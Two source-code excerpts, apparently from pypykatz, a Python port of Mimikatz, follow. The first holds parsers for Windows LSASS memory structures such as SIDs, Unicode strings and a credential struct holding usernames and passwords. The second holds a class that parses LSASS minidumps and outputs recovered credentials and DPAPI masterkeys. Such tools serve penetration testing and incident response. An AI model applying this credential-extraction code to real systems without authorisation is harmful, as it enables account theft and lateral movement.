379 | class INT_PTR(POINTER): | |
380 | def __init__(self): | |
381 | super().__init__() #with void we cannot determine the final type | |
382 | ||
383 | @staticmethod | |
384 | async def load(reader): | |
385 | p = INT_PTR() | |
386 | p.location = reader.tell() | |
387 | p.value = await reader.read_uint() | |
388 | p.finaltype = INT | |
389 | return p | |
390 | ||
391 | class UINT8: | |
392 | def __init__(self): | |
393 | self.value = None | |
394 | ||
395 | @staticmethod | |
396 | async def loadvalue(reader): | |
397 | t = await UINT8.load(reader) | |
398 | return t.value | |
399 | ||
400 | @staticmethod | |
401 | async def load(reader): | |
402 | res = UINT8() | |
403 | t = await reader.read(1) | |
404 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
405 | return res | |
406 | ||
407 | class INT8: | |
408 | def __init__(self): | |
409 | self.value = None | |
410 | ||
411 | @staticmethod | |
412 | async def loadvalue(reader): | |
413 | t = await INT8.load(reader) | |
414 | return t.value | |
415 | ||
416 | @staticmethod | |
417 | async def load(reader): | |
418 | res = INT8() | |
419 | t = await reader.read(1) | |
420 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
421 | return res | |
422 | ||
423 | class INT16: | |
424 | def __init__(self): | |
425 | self.value = None | |
426 | ||
427 | @staticmethod | |
428 | async def loadvalue(reader): | |
429 | t = await INT16.load(reader) | |
430 | return t.value | |
431 | ||
432 | @staticmethod | |
433 | async def load(reader): | |
434 | res = INT16() | |
435 | t = await reader.read(2) | |
436 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
437 | return res | |
438 | ||
439 | class INT32: | |
440 | def __init__(self): | |
441 | self.value = None | |
442 | ||
443 | @staticmethod | |
444 | async def loadvalue(reader): | |
445 | t = await INT32.load(reader) | |
446 | return t.value | |
447 | ||
448 | @staticmethod | |
449 | async def load(reader): | |
450 | res = INT32() | |
451 | t = await reader.read(4) | |
452 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
453 | return res | |
454 | ||
455 | class INT64: | |
456 | def __init__(self): | |
457 | self.value = None | |
458 | ||
459 | @staticmethod | |
460 | async def loadvalue(reader): | |
461 | t = await INT64.load(reader) | |
462 | return t.value | |
463 | ||
464 | @staticmethod | |
465 | async def load(reader): | |
466 | res = INT64() | |
467 | t = await reader.read(8) | |
468 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
469 | return res | |
470 | ||
471 | class LONG: | |
472 | def __init__(self): | |
473 | self.value = None | |
474 | ||
475 | @staticmethod | |
476 | async def loadvalue(reader): | |
477 | t = await LONG.load(reader) | |
478 | return t.value | |
479 | ||
480 | @staticmethod | |
481 | async def load(reader): | |
482 | res = LONG() | |
483 | t = await reader.read(4) | |
484 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
485 | return res | |
486 | ||
487 | class LONGLONG: | |
488 | def __init__(self): | |
489 | self.value = None | |
490 | ||
491 | @staticmethod | |
492 | async def loadvalue(reader): | |
493 | t = await LONGLONG.load(reader) | |
494 | return t.value | |
495 | ||
496 | @staticmethod | |
497 | async def load(reader): | |
498 | res = LONGLONG() | |
499 | t = await reader.read(8) | |
500 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
501 | return res | |
502 | ||
503 | class LONG_PTR(POINTER): | |
504 | def __init__(self): | |
505 | super().__init__() #with void we cannot determine the final type | |
506 | ||
507 | @staticmethod | |
508 | async def load(reader): | |
509 | p = LONG_PTR() | |
510 | p.location = reader.tell() | |
511 | p.value = await reader.read_uint() | |
512 | p.finaltype = LONG | |
513 | return p | |
514 | ||
515 | class LONG32: | |
516 | def __init__(self): | |
517 | self.value = None | |
518 | ||
519 | @staticmethod | |
520 | async def loadvalue(reader): | |
521 | t = await LONG32.load(reader) | |
522 | return t.value | |
523 | ||
524 | @staticmethod | |
525 | async def load(reader): | |
526 | res = LONG32() | |
527 | t = await reader.read(4) | |
528 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
529 | return res | |
530 | ||
531 | class LONG64(): | |
532 | def __init__(self): | |
533 | self.value = None | |
534 | ||
535 | @staticmethod | |
536 | async def loadvalue(reader): | |
537 | t = await LONG64.load(reader) | |
538 | return t.value | |
539 | ||
540 | @staticmethod | |
541 | async def load(reader): | |
542 | res = LONG64() | |
543 | t = await reader.read(8) | |
544 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
545 | return res | |
546 | ||
547 | class LPARAM(POINTER): | |
548 | def __init__(self): | |
549 | super().__init__() #with void we cannot determine the final type | |
550 | ||
551 | @staticmethod | |
552 | async def load(reader): | |
553 | p = LPARAM() | |
554 | p.location = reader.tell() | |
555 | p.value = await reader.read_uint() | |
556 | p.finaltype = LONG | |
557 | return p | |
558 | ||
559 | class LPBOOL(POINTER): | |
560 | def __init__(self): | |
561 | super().__init__() #with void we cannot determine the final type | |
562 | ||
563 | @staticmethod | |
564 | async def load(reader): | |
565 | p = LPBOOL() | |
566 | p.location = reader.tell() | |
567 | p.value = await reader.read_uint() | |
568 | p.finaltype = BOOL | |
569 | return p | |
570 | ||
571 | class LPBYTE(POINTER): | |
572 | def __init__(self): | |
573 | super().__init__() #with void we cannot determine the final type | |
574 | ||
575 | @staticmethod | |
576 | async def load(reader): | |
577 | p = LPBYTE() | |
578 | p.location = reader.tell() | |
579 | p.value = await reader.read_uint() | |
580 | p.finaltype = BYTE | |
581 | return p | |
582 | ||
583 | class ULONG: | |
584 | def __init__(self): | |
585 | self.value = None | |
586 | ||
587 | @staticmethod | |
588 | async def loadvalue(reader): | |
589 | t = await ULONG.load(reader) | |
590 | return t.value | |
591 | ||
592 | @staticmethod | |
593 | async def load(reader): | |
594 | res = ULONG() | |
595 | t = await reader.read(4) | |
596 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
597 | return res | |
598 | ||
599 | class ULONGLONG: | |
600 | def __init__(self): | |
601 | self.value = None | |
602 | ||
603 | @staticmethod | |
604 | async def loadvalue(reader): | |
605 | t = await ULONGLONG.load(reader) | |
606 | return t.value | |
607 | ||
608 | @staticmethod | |
609 | async def load(reader): | |
610 | res = ULONGLONG() | |
611 | t = await reader.read(8) | |
612 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
613 | return res | |
614 | ||
615 | class ULONG32: | |
616 | def __init__(self): | |
617 | self.value = None | |
618 | ||
619 | @staticmethod | |
620 | async def loadvalue(reader): | |
621 | t = await ULONG32.load(reader) | |
622 | return t.value | |
623 | ||
624 | ||
625 | @staticmethod | |
626 | async def load(reader): | |
627 | res = ULONG32() | |
628 | t = await reader.read(4) | |
629 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
630 | return res | |
631 | ||
632 | class ULONG64: | |
633 | def __init__(self): | |
634 | self.value = None | |
635 | ||
636 | @staticmethod | |
637 | async def loadvalue(reader): | |
638 | t = await ULONG64.load(reader) | |
639 | return t.value | |
640 | ||
641 | @staticmethod | |
642 | async def load(reader): | |
643 | res = ULONG64() | |
644 | t = await reader.read(8) | |
645 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
646 | return res | |
647 | ||
648 | class PWSTR(POINTER): | |
649 | def __init__(self): | |
650 | super().__init__() #with void we cannot determine the final type | |
651 | ||
652 | @staticmethod | |
653 | async def load(reader): | |
654 | p = PWSTR() | |
655 | p.location = reader.tell() | |
656 | p.value = await reader.read_uint() | |
657 | p.finaltype = None | |
658 | return p | |
659 | ||
660 | class PCHAR(POINTER): | |
661 | def __init__(self): | |
662 | super().__init__() #with void we cannot determine the final type | |
663 | ||
664 | @staticmethod | |
665 | async def load(reader): | |
666 | p = PCHAR() | |
667 | p.location = reader.tell() | |
668 | p.value = await reader.read_uint() | |
669 | p.finaltype = CHAR | |
670 | return p | |
671 | ||
672 | class USHORT: | |
673 | def __init__(self): | |
674 | self.value = None | |
675 | ||
676 | @staticmethod | |
677 | async def loadvalue(reader): | |
678 | t = await USHORT.load(reader) | |
679 | return t.value | |
680 | ||
681 | @staticmethod | |
682 | async def load(reader): | |
683 | res = USHORT() | |
684 | t = await reader.read(2) | |
685 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
686 | return res | |
687 | ||
688 | class SHORT: | |
689 | def __init__(self): | |
690 | self.value = None | |
691 | ||
692 | @staticmethod | |
693 | async def loadvalue(reader): | |
694 | t = await SHORT.load(reader) | |
695 | return t.value | |
696 | ||
697 | @staticmethod | |
698 | async def load(reader): | |
699 | res = SHORT() | |
700 | t = await reader.read(2) | |
701 | res.value = int.from_bytes(t, byteorder = 'little', signed = True) | |
702 | return res | |
703 | ||
704 | #https://msdn.microsoft.com/en-us/library/windows/hardware/ff554296(v=vs.85).aspx | |
705 | class LIST_ENTRY: | |
706 | def __init__(self): | |
707 | self.Flink = None | |
708 | self.Blink = None | |
709 | ||
710 | @staticmethod | |
711 | async def load(reader, finaltype = None): | |
712 | res = LIST_ENTRY() | |
713 | res.Flink = await POINTER.load(reader, finaltype) | |
714 | res.Blink = await POINTER.load(reader, finaltype) | |
715 | return res | |
716 | ||
717 | class FILETIME: | |
718 | def __init__(self): | |
719 | self.dwLowDateTime = None | |
720 | self.dwHighDateTime = None | |
721 | self.value = None | |
722 | ||
723 | @staticmethod | |
724 | async def loadvalue(reader): | |
725 | t = await FILETIME.load(reader) | |
726 | return t.value | |
727 | ||
728 | @staticmethod | |
729 | async def load(reader, finaltype = None): | |
730 | res = FILETIME() | |
731 | res.dwLowDateTime = await DWORD.load(reader) | |
732 | res.dwHighDateTime = await DWORD.load(reader) | |
733 | res.value = (res.dwHighDateTime.value << 32) + res.dwLowDateTime.value | |
734 | return res | |
735 | ||
736 | class PUCHAR(POINTER): | |
737 | def __init__(self): | |
738 | super().__init__() #with void we cannot determine the final type | |
739 | ||
740 | @staticmethod | |
741 | async def load(reader): | |
742 | p = PUCHAR() | |
743 | p.location = reader.tell() | |
744 | p.value = await reader.read_uint() | |
745 | p.finaltype = UCHAR | |
746 | return p | |
747 | ||
748 | class PCWSTR(POINTER): | |
749 | def __init__(self): | |
750 | super().__init__() #with void we cannot determine the final type | |
751 | ||
752 | @staticmethod | |
753 | async def load(reader): | |
754 | p = PCWSTR() | |
755 | p.location = reader.tell() | |
756 | p.value = await reader.read_uint() | |
757 | p.finaltype = None | |
758 | return p | |
759 | ||
760 | class SIZE_T: | |
761 | def __init__(self): | |
762 | self.value = None | |
763 | ||
764 | @staticmethod | |
765 | async def loadvalue(reader): | |
766 | t = await SIZE_T.load(reader) | |
767 | return t.value | |
768 | ||
769 | @staticmethod | |
770 | async def load(reader): | |
771 | res = SIZE_T() | |
772 | res.value = await reader.read_uint() | |
773 | return res | |
774 | ||
775 | class LARGE_INTEGER: | |
776 | def __init__(self): | |
777 | self.LowPart = None | |
778 | self.HighPart = None | |
779 | self.QuadPart = None | |
780 | ||
781 | ||
782 | @staticmethod | |
783 | async def load(reader): | |
784 | res = LARGE_INTEGER() | |
785 | res.LowPart = await DWORD.loadvalue(reader) | |
786 | res.HighPart = await LONG.loadvalue(reader) | |
787 | res.QuadPart = await LONGLONG.loadvalue(reader) | |
788 | return res | |
789 | ||
790 | ||
791 | class PSID(POINTER): | |
792 | def __init__(self): | |
793 | super().__init__() | |
794 | ||
795 | @staticmethod | |
796 | async def load(reader): | |
797 | p = PSID() | |
798 | p.location = reader.tell() | |
799 | p.value = await reader.read_uint() | |
800 | p.finaltype = SID | |
801 | return p | |
802 | ||
803 | class SID: | |
804 | def __init__(self): | |
805 | self.Revision = None | |
806 | self.SubAuthorityCount = None | |
807 | self.IdentifierAuthority = None | |
808 | self.SubAuthority = [] | |
809 | ||
810 | @staticmethod | |
811 | async def load(reader): | |
812 | res = SID() | |
813 | res.Revision = await UINT8.loadvalue(reader) | |
814 | res.SubAuthorityCount = await UINT8.loadvalue(reader) | |
815 | t = await reader.read(6) | |
816 | res.IdentifierAuthority = int.from_bytes(b'\x00\x00' + t, byteorder = 'big', signed = False) | |
817 | for _ in range(res.SubAuthorityCount): | |
818 | t = await ULONG.loadvalue(reader) | |
819 | res.SubAuthority.append(t) | |
820 | return res | |
821 | ||
822 | def __str__(self): | |
823 | t = 'S-%d-%d' % (self.Revision, self.IdentifierAuthority) | |
824 | for subauthority in self.SubAuthority: | |
825 | t+= '-%d' % (subauthority) | |
826 | return t | |
827 | ||
828 | class LUID: | |
829 | def __init__(self): | |
830 | self.LowPart = None | |
831 | self.HighPart = None | |
832 | self.value = None | |
833 | ||
834 | @staticmethod | |
835 | async def loadvalue(reader): | |
836 | t = await LUID.load(reader) | |
837 | return t.value | |
838 | ||
839 | @staticmethod | |
840 | async def load(reader): | |
841 | res = LUID() | |
842 | res.LowPart = await DWORD.loadvalue(reader) | |
843 | res.HighPart = await LONG.loadvalue(reader) | |
844 | res.value = (res.HighPart << 32) + res.LowPart | |
845 | return res | |
846 | ||
847 | ||
848 | # https://msdn.microsoft.com/en-us/library/windows/desktop/ms721841(v=vs.85).aspx | |
849 | class LSA_UNICODE_STRING: | |
850 | def __init__(self): | |
851 | self.Length = None | |
852 | self.MaximumLength = None | |
853 | self.Buffer = None | |
854 | ||
855 | @staticmethod | |
856 | async def load(reader): | |
857 | res = LSA_UNICODE_STRING() | |
858 | res.Length= await USHORT.loadvalue(reader) | |
859 | res.MaximumLength = await USHORT.loadvalue(reader) | |
860 | await reader.align() | |
861 | res.Buffer = await PWSTR.loadvalue(reader) | |
862 | return res | |
863 | ||
864 | async def read_string(self, reader): | |
865 | if self.Buffer == 0 or self.Length == 0: | |
866 | return '' | |
867 | await reader.move(self.Buffer) | |
868 | data = await reader.read(self.Length) | |
869 | data_str = data.decode('utf-16-le').rstrip('\0') | |
870 | return data_str | |
871 | ||
872 | async def read_data(self, reader): | |
873 | if self.Buffer == 0 or self.Length == 0: | |
874 | return b'' | |
875 | await reader.move(self.Buffer) | |
876 | return await reader.read(self.Length) | |
877 | ||
878 | async def read_maxdata(self, reader): | |
879 | if self.Buffer == 0 or self.Length == 0: | |
880 | return b'' | |
881 | await reader.move(self.Buffer) | |
882 | return await reader.read(self.MaximumLength) | |
883 | ||
884 | # https://msdn.microsoft.com/en-us/library/windows/hardware/ff540605(v=vs.85).aspx | |
885 | class PANSI_STRING(POINTER): | |
886 | def __init__(self): | |
887 | super().__init__() | |
888 | ||
889 | @staticmethod | |
890 | async def load(reader): | |
891 | p = PANSI_STRING() | |
892 | p.location = reader.tell() | |
893 | p.value = await reader.read_uint() | |
894 | p.finaltype = ANSI_STRING | |
895 | return p | |
896 | ||
897 | class ANSI_STRING: | |
898 | def __init__(self): | |
899 | self.Length = None | |
900 | self.MaximumLength = None | |
901 | self.Buffer = None | |
902 | ||
903 | @staticmethod | |
904 | async def load(reader): | |
905 | res = ANSI_STRING() | |
906 | res.Length = await USHORT.loadvalue(reader) | |
907 | res.MaximumLength = await USHORT.loadvalue(reader) | |
908 | res.Buffer = await PCHAR.load(reader) | |
909 | return res | |
910 | ||
911 | async def read_string(self, reader): | |
912 | if self.Buffer == 0 or self.Length == 0: | |
913 | return '' | |
914 | await reader.move(self.Buffer) | |
915 | data = await reader.read(self.Length) | |
916 | data_str = data.decode().rstrip('\0') | |
917 | return data_str | |
918 | ||
919 | async def read_data(self, reader): | |
920 | if self.Buffer == 0 or self.Length == 0: | |
921 | return b'' | |
922 | await reader.move(self.Buffer) | |
923 | return await reader.read(self.Length) | |
924 | ||
925 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378064(v=vs.85).aspx | |
926 | ||
927 | class KerberosNameType(enum.Enum): | |
928 | KRB_NT_UNKNOWN = 0 | |
929 | KRB_NT_PRINCIPAL = 1 | |
930 | KRB_NT_PRINCIPAL_AND_ID = -131 | |
931 | KRB_NT_SRV_INST = 2 | |
932 | KRB_NT_SRV_INST_AND_ID = -132 | |
933 | KRB_NT_SRV_HST = 3 | |
934 | KRB_NT_SRV_XHST = 4 | |
935 | KRB_NT_UID = 5 | |
936 | KRB_NT_ENTERPRISE_PRINCIPAL = 10 | |
937 | KRB_NT_ENT_PRINCIPAL_AND_ID = -130 | |
938 | KRB_NT_MS_PRINCIPAL = -128 | |
939 | KRB_NT_MS_PRINCIPAL_AND_ID = -129 | |
940 | ||
941 | class PKERB_EXTERNAL_NAME(POINTER): | |
942 | def __init__(self): | |
943 | super().__init__() | |
944 | ||
945 | @staticmethod | |
946 | async def load(reader): | |
947 | p = PKERB_EXTERNAL_NAME() | |
948 | p.location = reader.tell() | |
949 | p.value = await reader.read_uint() | |
950 | p.finaltype = KERB_EXTERNAL_NAME | |
951 | return p | |
952 | ||
953 | class KERB_EXTERNAL_NAME: | |
954 | def __init__(self): | |
955 | self.NameType = None | |
956 | self.NameCount = None | |
957 | self.Names = [] # list of LSA_UNICODE_STRING | |
958 | ||
959 | @staticmethod | |
960 | async def load(reader): | |
961 | res = KERB_EXTERNAL_NAME() | |
962 | res.NameType = await SHORT.loadvalue(reader) #KerberosNameType(SHORT(reader).value) | |
963 | res.NameCount = await USHORT.loadvalue(reader) | |
964 | await reader.align() | |
965 | for _ in range(res.NameCount): | |
966 | t = await LSA_UNICODE_STRING.load(reader) | |
967 | res.Names.append(t) | |
968 | return res | |
969 | ||
970 | async def read(self, reader): | |
971 | t = [] | |
972 | for name in self.Names: | |
973 | x = await name.read_string(reader) | |
974 | t.append(x) | |
975 | return t | |
976 | ||
977 | ||
978 | class KIWI_GENERIC_PRIMARY_CREDENTIAL: | |
979 | def __init__(self): | |
980 | self.UserName = None | |
981 | self.Domaine = None | |
982 | self.Password = None | |
983 | ||
984 | @staticmethod | |
985 | async def load(reader): | |
986 | res = KIWI_GENERIC_PRIMARY_CREDENTIAL() | |
987 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
988 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
989 | res.Password = await LSA_UNICODE_STRING.load(reader) | |
990 | return res | |
991 | ||
992 | class PRTL_BALANCED_LINKS(POINTER): | |
993 | def __init__(self): | |
994 | super().__init__() | |
995 | ||
996 | @staticmethod | |
997 | async def load(reader): | |
998 | p = PRTL_BALANCED_LINKS() | |
999 | p.location = reader.tell() | |
1000 | p.value = await reader.read_uint() | |
1001 | p.finaltype = RTL_BALANCED_LINKS | |
1002 | return p | |
1003 | ||
1004 | class RTL_BALANCED_LINKS: | |
1005 | def __init__(self): | |
1006 | self.Parent = None | |
1007 | self.LeftChild = None | |
1008 | self.RightChild = None | |
1009 | self.Balance = None | |
1010 | self.Reserved = None | |
1011 | ||
1012 | @staticmethod | |
1013 | async def load(reader): | |
1014 | res = RTL_BALANCED_LINKS() | |
1015 | res.Parent = await PRTL_BALANCED_LINKS.load(reader) | |
1016 | res.LeftChild = await PRTL_BALANCED_LINKS.load(reader) | |
1017 | res.RightChild = await PRTL_BALANCED_LINKS.load(reader) | |
1018 | res.Balance = await BYTE.loadvalue(reader) | |
1019 | res.Reserved = await reader.read(3) # // align | |
1020 | await reader.align() | |
1021 | return res | |
1022 | ||
1023 | class PRTL_AVL_TABLE(POINTER): | |
1024 | def __init__(self): | |
1025 | super().__init__() | |
1026 | ||
1027 | @staticmethod | |
1028 | async def load(reader): | |
1029 | p = PRTL_AVL_TABLE() | |
1030 | p.location = reader.tell() | |
1031 | p.value = await reader.read_uint() | |
1032 | p.finaltype = RTL_AVL_TABLE | |
1033 | return p | |
1034 | ||
1035 | class RTL_AVL_TABLE: | |
1036 | def __init__(self): | |
1037 | self.BalancedRoot = None | |
1038 | self.OrderedPointer = None | |
1039 | self.WhichOrderedElement = None | |
1040 | self.NumberGenericTableElements = None | |
1041 | self.DepthOfTree = None | |
1042 | self.RestartKey = None | |
1043 | self.DeleteCount = None | |
1044 | self.CompareRoutine = None | |
1045 | self.AllocateRoutine = None | |
1046 | self.FreeRoutine = None | |
1047 | self.TableContext = None | |
1048 | ||
1049 | @staticmethod | |
1050 | async def load(reader): | |
1051 | res = RTL_AVL_TABLE() | |
1052 | res.BalancedRoot = await RTL_BALANCED_LINKS.load(reader) | |
1053 | res.OrderedPointer = await PVOID.load(reader) | |
1054 | res.WhichOrderedElement = await ULONG.loadvalue(reader) | |
1055 | res.NumberGenericTableElements = await ULONG.loadvalue(reader) | |
1056 | res.DepthOfTree = await ULONG.loadvalue(reader) | |
1057 | await reader.align() | |
1058 | res.RestartKey = await PRTL_BALANCED_LINKS.load(reader) | |
1059 | res.DeleteCount = await ULONG.loadvalue(reader) | |
1060 | await reader.align() | |
1061 | res.CompareRoutine = await PVOID.load(reader) | |
1062 | res.AllocateRoutine = await PVOID.load(reader) | |
1063 | res.FreeRoutine = await PVOID.load(reader) | |
1064 | res.TableContext = await PVOID.load(reader) | |
1065 | return res | |
1066 | ||
1067 | class PLSAISO_DATA_BLOB(POINTER): | |
1068 | def __init__(self): | |
1069 | super().__init__() | |
1070 | ||
1071 | @staticmethod | |
1072 | async def load(reader): | |
1073 | p = PLSAISO_DATA_BLOB() | |
1074 | p.location = reader.tell() | |
1075 | p.value = await reader.read_uint() | |
1076 | p.finaltype = LSAISO_DATA_BLOB | |
1077 | return p | |
1078 | ||
1079 | class LSAISO_DATA_BLOB: | |
1080 | size = 9*4 + 3*16 + 16 #+sizeof array ?ANYSIZE_ARRAY | |
1081 | def __init__(self): | |
1082 | self.structSize = None | |
1083 | self.unk0 = None | |
1084 | self.typeSize = None | |
1085 | self.unk1 = None | |
1086 | self.unk2 = None | |
1087 | self.unk3 = None | |
1088 | self.unk4 = None | |
1089 | self.unkKeyData = None | |
1090 | self.unkData2 = None | |
1091 | self.unk5 = None | |
1092 | self.origSize = None | |
1093 | self.data = None #size determined later | |
1094 | ||
1095 | @staticmethod | |
1096 | async def load(reader): | |
1097 | res = LSAISO_DATA_BLOB() | |
1098 | res.structSize = await DWORD.loadvalue(reader) | |
1099 | res.unk0 = await DWORD.loadvalue(reader) | |
1100 | res.typeSize = await DWORD.loadvalue(reader) | |
1101 | res.unk1 = await DWORD.loadvalue(reader) | |
1102 | res.unk2 = await DWORD.loadvalue(reader) | |
1103 | res.unk3 = await DWORD.loadvalue(reader) | |
1104 | res.unk4 = await DWORD.loadvalue(reader) | |
1105 | res.unkKeyData = await reader.read(3*16) | |
1106 | res.unkData2 = await reader.read(16) | |
1107 | res.unk5 = await DWORD.loadvalue(reader) | |
1108 | res.origSize = await DWORD.loadvalue(reader) | |
1109 | res.data = None #size determined later | |
1110 | return res | |
1111 | ||
1112 | ||
1113 | class ENC_LSAISO_DATA_BLOB: | |
1114 | def __init__(self): | |
1115 | self.unkData1 = None | |
1116 | self.unkData2 = None | |
1117 | self.data = None | |
1118 | ||
1119 | @staticmethod | |
1120 | async def load(reader): | |
1121 | res = ENC_LSAISO_DATA_BLOB() | |
1122 | res.unkData1 = await reader.read(16) | |
1123 | res.unkData2 = await reader.read(16) | |
1124 | res.data = None #size determined later | |
1125 | return res | |
1126 | ||
1127 | class GUID: | |
1128 | def __init__(self): | |
1129 | self.Data1 = None | |
1130 | self.Data2 = None | |
1131 | self.Data3 = None | |
1132 | self.Data4 = None | |
1133 | self.value = None | |
1134 | ||
1135 | @staticmethod | |
1136 | async def loadvalue(reader): | |
1137 | t = await GUID.load(reader) | |
1138 | return t.value | |
1139 | ||
1140 | ||
1141 | @staticmethod | |
1142 | async def load(reader): | |
1143 | res = GUID() | |
1144 | res.Data1 = await DWORD.loadvalue(reader) | |
1145 | res.Data2 = await WORD.loadvalue(reader) | |
1146 | res.Data3 = await WORD.loadvalue(reader) | |
1147 | res.Data4 = await reader.read(8) | |
1148 | res.value = '-'.join([ | |
1149 | hex(res.Data1)[2:].zfill(8), | |
1150 | hex(res.Data2)[2:].zfill(4), | |
1151 | hex(res.Data3)[2:].zfill(4), | |
1152 | hex(int.from_bytes(res.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4), | |
1153 | hex(int.from_bytes(res.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12) | |
1154 | ]) | |
1155 | return res | |
1156 | ||
1157 | class PLIST_ENTRY(POINTER): | |
1158 | def __init__(self): | |
1159 | super().__init__() | |
1160 | ||
1161 | @staticmethod | |
1162 | async def load(reader): | |
1163 | p = PLIST_ENTRY() | |
1164 | p.location = reader.tell() | |
1165 | p.value = await reader.read_uint() | |
1166 | p.finaltype = LIST_ENTRY | |
1167 | return p | |
1168 |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | import platform | |
7 | import json | |
8 | import asyncio | |
9 | import base64 | |
10 | import traceback | |
11 | ||
12 | from pypykatz.commons.common import KatzSystemInfo | |
13 | from pypykatz.alsadecryptor import CredmanTemplate, MsvTemplate, \ | |
14 | MsvDecryptor, WdigestTemplate, LsaTemplate, WdigestDecryptor, \ | |
15 | LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \ | |
16 | TspkgDecryptor, TspkgTemplate, \ | |
17 | DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\ | |
18 | CloudapDecryptor | |
19 | #KerberosTemplate, KerberosDecryptor, | |
20 | from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession | |
21 | from pypykatz import logger | |
22 | from pypykatz.commons.common import UniversalEncoder | |
23 | from minidump.aminidumpfile import AMinidumpFile | |
24 | from minikerberos.common.ccache import CCACHE | |
25 | from pypykatz._version import __version__ | |
26 | ||
27 | class apypykatz: | |
28 | def __init__(self, reader, sysinfo): | |
29 | self.reader = reader | |
30 | self.sysinfo = sysinfo | |
31 | self.credentials = [] | |
32 | self.architecture = None | |
33 | self.operating_system = None | |
34 | self.buildnumber = None | |
35 | self.lsa_decryptor = None | |
36 | ||
37 | self.logon_sessions = {} | |
38 | self.orphaned_creds = [] | |
39 | self.errors = [] | |
40 | self.kerberos_ccache = CCACHE() | |
41 | ||
42 | def to_dict(self): | |
43 | t = {} | |
44 | t['logon_sessions'] = {} | |
45 | for ls in self.logon_sessions: | |
46 | # print(ls) | |
47 | t['logon_sessions'][ls] = (self.logon_sessions[ls].to_dict()) | |
48 | t['orphaned_creds'] = [] | |
49 | for oc in self.orphaned_creds: | |
50 | t['orphaned_creds'].append(oc.to_dict()) | |
51 | ||
52 | t['errors'] = [] | |
53 | for pkg, err in self.errors: | |
54 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
55 | err_str = base64.b64encode(err_str.encode()).decode() | |
56 | t['errors'].append((pkg,err_str)) | |
57 | return t | |
58 | ||
59 | def to_json(self): | |
60 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) | |
61 | ||
62 | def to_grep(self): | |
63 | res = ':'.join(LogonSession.grep_header) + '\r\n' | |
64 | for luid in self.logon_sessions: | |
65 | for row in self.logon_sessions[luid].to_grep_rows(): | |
66 | res += ':'.join(row) + '\r\n' | |
67 | for cred in self.orphaned_creds: | |
68 | t = cred.to_dict() | |
69 | if t['credtype'] != 'dpapi': | |
70 | if t['password'] is not None: | |
71 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
72 | res += ':'.join(x) + '\r\n' | |
73 | else: | |
74 | t = cred.to_dict() | |
75 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
76 | res += ':'.join(x) + '\r\n' | |
77 | ||
78 | for pkg, err in self.errors: | |
79 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
80 | err_str = base64.b64encode(err_str.encode()).decode() | |
81 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str] | |
82 | res += ':'.join(x) + '\r\n' | |
83 | ||
84 | return res | |
85 | ||
86 | def __str__(self): | |
87 | res = '== Logon credentials ==\r\n' | |
88 | for luid in self.logon_sessions: | |
89 | res += str(self.logon_sessions[luid]) + '\r\n' | |
90 | ||
91 | if len(self.orphaned_creds) > 0: | |
92 | res += '== Orphaned credentials ==\r\n' | |
93 | for cred in self.orphaned_creds: | |
94 | res += str(cred) + '\r\n' | |
95 | ||
96 | if len(self.errors) > 0: | |
97 | res += '== Errors ==\r\n' | |
98 | for pkg, err in self.errors: | |
99 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
100 | err_str = base64.b64encode(err_str.encode()).decode() | |
101 | res += '%s %s \r\n' % (pkg+'_exception_please_report',err_str) | |
102 | ||
103 | return res | |
104 | ||
105 | @staticmethod | |
106 | async def parse_minidump_file(filename, packages = ['all'], chunksize=10*1024): | |
107 | try: | |
108 | minidump = await AMinidumpFile.parse(filename) | |
109 | reader = minidump.get_reader().get_buffered_reader(chunksize) | |
110 | sysinfo = KatzSystemInfo.from_minidump(minidump) | |
111 | except Exception as e: | |
112 | logger.exception('Minidump parsing error!') | |
113 | raise e | |
114 | try: | |
115 | mimi = apypykatz(reader, sysinfo) | |
116 | await mimi.start(packages) | |
117 | except Exception as e: | |
118 | #logger.info('Credentials parsing error!') | |
119 | mimi.log_basic_info() | |
120 | raise e | |
121 | return mimi | |
122 | ||
123 | @staticmethod | |
124 | async def parse_minidump_external(handle, packages = ['all'], chunksize=10*1024): | |
125 | """ | |
126 | Parses LSASS minidump file based on the file object. | |
127 | File object can really be any object as longs as | |
128 | it implements read, seek, tell functions with the | |
129 | same parameters as a file object would. | |
130 | ||
131 | handle: file like object | |
132 | """ | |
133 | minidump = await AMinidumpFile.parse_external(handle) | |
134 | reader = minidump.get_reader().get_buffered_reader(chunksize) | |
135 | sysinfo = KatzSystemInfo.from_minidump(minidump) | |
136 | mimi = apypykatz(reader, sysinfo) | |
137 | await mimi.start(packages) | |
138 | return mimi | |
139 | ||
140 | ||
141 | def log_basic_info(self): | |
142 | """ | |
